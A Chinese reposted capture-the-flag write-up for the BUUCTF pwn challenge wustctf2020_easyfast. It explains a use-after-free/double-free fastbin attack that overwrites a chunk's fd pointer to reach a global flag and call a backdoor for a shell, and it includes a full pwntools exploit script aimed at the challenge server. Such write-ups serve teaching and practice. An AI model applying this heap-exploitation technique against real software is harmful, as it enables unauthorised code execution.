[BUUCTF]pwn - wustctf2020_easyfast (Use After Free)
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF]pwn - wustctf2020_easyfast (Use After Free)
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
打開(kāi)菜單,了解到相應(yīng)的功能后,改一下名字
這個(gè)漏洞大致利用方式是這樣的;
利用思路
通過(guò)double free修改chunk0的fd指針,讓申請(qǐng)到的chunk能夠覆蓋到0x602090,修改1為0,最后直接調(diào)用backdoor來(lái)getshell
from pwn import *#p=process('./wustctf2020_easyfast')p=remote("node3.buuoj.cn",25044)context.log_level="debug"def add(size):p.recvuntil('choice>')p.sendline('1')p.recvuntil('size>')p.sendline(str(size))def delete(index):p.recvuntil('choice>')p.sendline('2')p.recvuntil('index>')p.sendline(str(index))def edit(idx,content):p.sendlineafter('choice>','3')p.sendlineafter('index>',str(idx))p.send(content)def backdoor():p.sendlineafter('choice>','4') add(0x40)#0 add(0x40)#1 delete(0) edit(0,p64(0x602080)) add(0x40)#0 add(0x40)#3 edit(3,p64(0)) backdoor() #gdb.attach(p) p.interactive()總結(jié)
以上是生活随笔為你收集整理的[BUUCTF]pwn - wustctf2020_easyfast (Use After Free)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: BUUCTF-misc另外一个世界 8个
- 下一篇: [BUUCTF-pwn]——pwnabl